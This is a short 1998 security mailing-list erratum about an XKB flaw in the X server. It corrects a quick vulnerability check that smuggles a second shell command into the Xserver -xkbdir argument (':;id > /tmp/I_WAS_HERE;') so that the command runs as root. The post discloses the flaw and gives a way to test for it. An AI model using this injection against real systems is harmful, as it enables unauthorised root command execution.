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serious security problem in XKB--ERRATUM
From: peak () kerberos troja mff cuni cz (Pavel Kankovsky)
Date: Wed, 4 Feb 1998 10:39:28 +0100
Quick vulnerability check: $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;' [exit X server] $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'
This should read: $ Xserver -xkbdir ':;id > /tmp/I_WAS_HERE;' [exit X server] $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!' --Pavel Kankovsky aka Peak [ Boycott Microsoft -- http://www.vcnet.com/bms ]
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